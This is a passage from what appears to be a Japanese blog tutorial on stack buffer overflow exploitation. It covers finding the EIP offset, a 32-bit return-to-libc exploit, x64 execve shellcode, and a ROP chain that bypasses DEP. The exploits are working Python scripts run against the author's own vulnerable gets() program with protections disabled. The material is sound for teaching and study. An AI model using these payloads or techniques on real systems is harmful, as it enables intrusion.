Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
0x64413764 in ?? ()
(gdb) quit

EIPが0x64413764に書き変わっていることがわかる。 この4バイト (0x64413764 = "\x64\x37\x41\x64" = "d7Ad") が送り込んだ文字列の何バイト目にあるかを調べることで、EIPまでのオフセットがわかる。 この計算には、同じディレクトリにあるpattern_offset.rbが使える。

$ /opt/metasploit-framework/tools/pattern_offset.rb 0x64413764
[*] Exact match at offset 112

上の結果から、112バイト目からの4バイトがEIPになっていることがわかる。

エクスプロイトコードを書いてみる

得られたオフセットを使い、Return-to-libcでシェルを起動するエクスプロイトコードを書くと次のようになる。

# exploit.py

import sys
import struct
from subprocess import Popen, PIPE

base_libc = int(sys.argv[1], 16)

offset = 112
addr_libc_system = base_libc + 0x0003f430  # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system"
addr_libc_exit = base_libc + 0x00032fb0    # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit"
addr_libc_binsh = base_libc + 0x161d98     # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh"

buf = 'A' * offset
buf += struct.pack('<I', addr_libc_system)
buf += struct.pack('<I', addr_libc_exit)
buf += struct.pack('<I', addr_libc_binsh)
buf += struct.pack('<I', 0)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()

p.stdin.write('exec <&2 >&2\n')
p.wait()

このコードは、libcのベースアドレスを引数に取る。

gdbなどでlibcのベースアドレスを調べ、エクスプロイトコードを実行すると次のようになる。

$ python exploit.py 0xb7e29000
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0\x84\xe6\xb7\xb0\xbf\xe5\xb7\x98\xad\xf8\xb7\n'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

EIPが書き変わり、シェルが起動できていることが確認できた。

Pythonスクリプトによる簡易版

Metasploitを使わずに、パターン生成とオフセット計算を行うPythonスクリプトを書くと次のようになる。

# msfpattern.py

import sys
import struct

def generate():
    for x in xrange(0x41, 0x5b):
        for y in xrange(0x61, 0x7b):
            for z in xrange(0x30, 0x3a):
                yield "%c%c%c" % (x, y, z)

cmd = sys.argv[1]

if cmd == 'create':
    size = int(sys.argv[2])
    s = ''
    for x in generate():
        s += x
        if len(s) >= size:
            print s[:size]
            break
    else:
        raise Exception("size too large")
elif cmd == 'offset':
    value = int(sys.argv[2], 16)
    chunk = struct.pack('<I', value)
    s = ''
    for x in generate():
        s += x
        if chunk in s:
            print s.index(chunk)
            break
    else:
        raise Exception("not found")
$ python msfpattern.py create 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

$ python msfpattern.py offset 0x64413764
112

関連リンク

x64でスタックバッファオーバーフローをやってみる

Intel x64 (x86-64) 環境のもとで、スタックバッファオーバーフローによるシェルコード実行およびROPをやってみる。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

シェルコードを書いてみる

x64は基本的にはx86と同じだが、下記の点で違いがある。

  • レジスタのbit幅が64bitとなり、rax, rdx, rcx, rbx, rsi, rdi, rsp, rbp, ripのように表される
  • 汎用レジスタとしてr8, r9, ..., r15が使える
  • 64bit整数を即値でpushすることはできない。レジスタへのmovは可能
  • システムコール番号が変わる(execveは59)
  • int 0x80ではなくsyscallを使う。システムコール番号はrax、引数はrdi, rsi, rdx, r10, r8, r9の順で与える
  • システムコール実行後、戻り値が入るrax以外にrcx, r11も書き換えられる可能性がある

execve("/bin/sh", {"/bin/sh", NULL}, NULL)を実行するシェルコードを書くと次のようになる。

$ grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h
#define __NR_execve                             59
__SYSCALL(__NR_execve, stub_execve)

$ echo "/bin//sh" | od -tx8z
0000000 68732f2f6e69622f 000000000000000a  >/bin//sh.<
0000011
        /* execve.s */
        .intel_syntax noprefix
        .globl _start
_start:
        xor rdx, rdx
        push rdx
        mov rax, 0x68732f2f6e69622f
        push rax
        mov rdi, rsp
        push rdx
        push rdi
        mov rsi, rsp
        lea rax, [rdx+59]
        syscall

アセンブルし、実行できることを確認する。

$ gcc -nostdlib execve.s

$ ./a.out
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ディスアセンブルを行い、対応する機械語列を確認する。

$ objdump -M intel -d a.out

a.out:     file format elf64-x86-64


Disassembly of section .text:

00000000004000d4 <_start>:
  4000d4:       48 31 d2                xor    rdx,rdx
  4000d7:       52                      push   rdx
  4000d8:       48 b8 2f 62 69 6e 2f    movabs rax,0x68732f2f6e69622f
  4000df:       2f 73 68
  4000e2:       50                      push   rax
  4000e3:       48 89 e7                mov    rdi,rsp
  4000e6:       52                      push   rdx
  4000e7:       57                      push   rdi
  4000e8:       48 89 e6                mov    rsi,rsp
  4000eb:       48 8d 42 3b             lea    rax,[rdx+0x3b]
  4000ef:       0f 05                   syscall
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05

このシェルコードの長さは29バイトである。

脆弱性のあるプログラムを書いてみる

標準入力からスタックバッファオーバーフローが起こせるプログラムを書いてみる。

/* bof.c */
#include <stdio.h>

int main()
{
    char buf[100];
    setlinebuf(stdout);
    printf("buf = %p\n", buf);
    gets(buf);
    puts(buf);
    return 0;
}

ASLR、DEPSSP無効でコンパイルし、実行できることを確認する。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -fno-stack-protector -z execstack bof.c

$ ./a.out
buf = 0x7fffffffe5e0
AAAA
AAAA

エクスプロイトコードを書いてみる

スタック上のシェルコードを実行するエクスプロイトコードを書くと次のようになる。

# exploit.py

import sys
import struct
from subprocess import Popen, PIPE

addr_buf = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

buf = shellcode
buf += 'A' * (bufsize - len(buf))
buf += 'A' * (8 - len(buf)%8)  # alignment
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', addr_buf)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
print "[+] read: %r" % p.stdout.readline()
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.stdin.write('exec <&2 >&2\n')
p.wait()

このコードは、オーバーフローが起きるバッファのアドレスとサイズを順に引数に取る。 アドレス空間が64bitで表されることから、struct.packの引数にはI(32bit符号なし整数)の代わりにQ(64bit符号なし整数)を指定する。 また、シェルを起動した後はシェルコマンドにより標準入出力を端末に差し替える。

引数をセットし、エクスプロイトコードを実行してみる。

$ python exploit.py 0x7fffffffe5e0 100
[+] read: 'buf = 0x7fffffffe5d0\n'
[+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe0\xe5\xff\xff\xff\x7f\n'

$ python exploit.py 0x7fffffffe5d0 100
[+] read: 'buf = 0x7fffffffe5d0\n'
[+] read: 'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\xe5\xff\xff\xff\x7f\n'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

スタック上のシェルコードが実行できていることが確認できた。

ROPによるDEP回避をやってみる

次に、DEPが有効な条件下でROPによるシェル起動をやってみる。

rp++Linux x64用バイナリをダウンロードし、libcのROP gadgetsを出力する。

$ curl -L https://github.com/downloads/0vercl0k/rp/rp-lin-x64 > rp-lin-x64

$ chmod +x rp-lin-x64

$ ./rp-lin-x64 --file=/lib/x86_64-linux-gnu/libc-2.15.so --rop=1 --unique > gadgets.txt

x64では、関数の引数はまずレジスタにセットされる。 具体的には、第一引数からrdi, rsi, rdx, rcx, r8, r9の順でセットされ(システムコールの場合と第4引数が異なることに注意)、これ以降の引数はスタックの上から順に並ぶようにセットされる。 なお、戻り値はx86と同様raxレジスタにセットされる。

上の内容に従い、libc中のsystem関数を呼び出すエクスプロイトコードを書くと次のようになる。

# exploit2.py

import sys
import struct
from subprocess import Popen, PIPE

libc_base = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

offset_libc_system = 0x0000000000045660  # nm -D /lib/x86_64-linux-gnu/libc-2.15.so | grep " system"
offset_libc_exit = 0x000000000003b970    # nm -D /lib/x86_64-linux-gnu/libc-2.15.so | grep " exit"
offset_libc_binsh = 0x17a111             # strings -tx /lib/x86_64-linux-gnu/libc-2.15.so | grep "/bin/sh"
offset_libc_pop_rdi = 0x000229f2         # 0x000229f2: pop rdi ; ret  ;  (310 found)

buf = 'A' * bufsize
buf += 'A' * (8-len(buf)%8)
buf += 'AAAAAAAA' * 2
buf += struct.pack('<Q', libc_base + offset_libc_pop_rdi)
buf += struct.pack('<Q', libc_base + offset_libc_binsh)
buf += struct.pack('<Q', libc_base + offset_libc_system)
buf += struct.pack('<Q', libc_base + offset_libc_pop_rdi)
buf += struct.pack('<Q', 0)
buf += struct.pack('<Q', libc_base + offset_libc_exit)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
print "[+] read: %r" % p.stdout.readline()
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.stdin.write('exec <&2 >&2\n')
p.wait()

DEP有効、ASLR、SSP無効でコンパイルし直し、gdbでlibcのベースアドレスを調べてみる。

$ gcc -fno-stack-protector bof.c

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x4005d8
Starting program: /home/user/tmp/a.out
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000

Temporary breakpoint 1, 0x00000000004005d8 in main ()
(gdb) i proc map
process 2974
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/user/tmp/a.out
            0x600000           0x601000     0x1000        0x0 /home/user/tmp/a.out
            0x601000           0x602000     0x1000     0x1000 /home/user/tmp/a.out
      0x7ffff7a1a000     0x7ffff7bcf000   0x1b5000        0x0 /lib/x86_64-linux-gnu/libc-2.15.so
      0x7ffff7bcf000     0x7ffff7dcf000   0x200000   0x1b5000 /lib/x86_64-linux-gnu/libc-2.15.so
      0x7ffff7dcf000     0x7ffff7dd3000     0x4000   0x1b5000 /lib/x86_64-linux-gnu/libc-2.15.so
      0x7ffff7dd3000     0x7ffff7dd5000     0x2000   0x1b9000 /lib/x86_64-linux-gnu/libc-2.15.so
                 ...
(gdb) quit

引数をセットし、エクスプロイトコードを実行してみる。

$ python exploit2.py 0x7ffff7a1a000 100
[+] read: 'buf = 0x7fffffffe5d0\n'
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf2\xc9\xa3\xf7\xff\x7f\n'
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

DEPが有効な条件下でROPによりシェルが起動できていることが確認できた。

関連リンク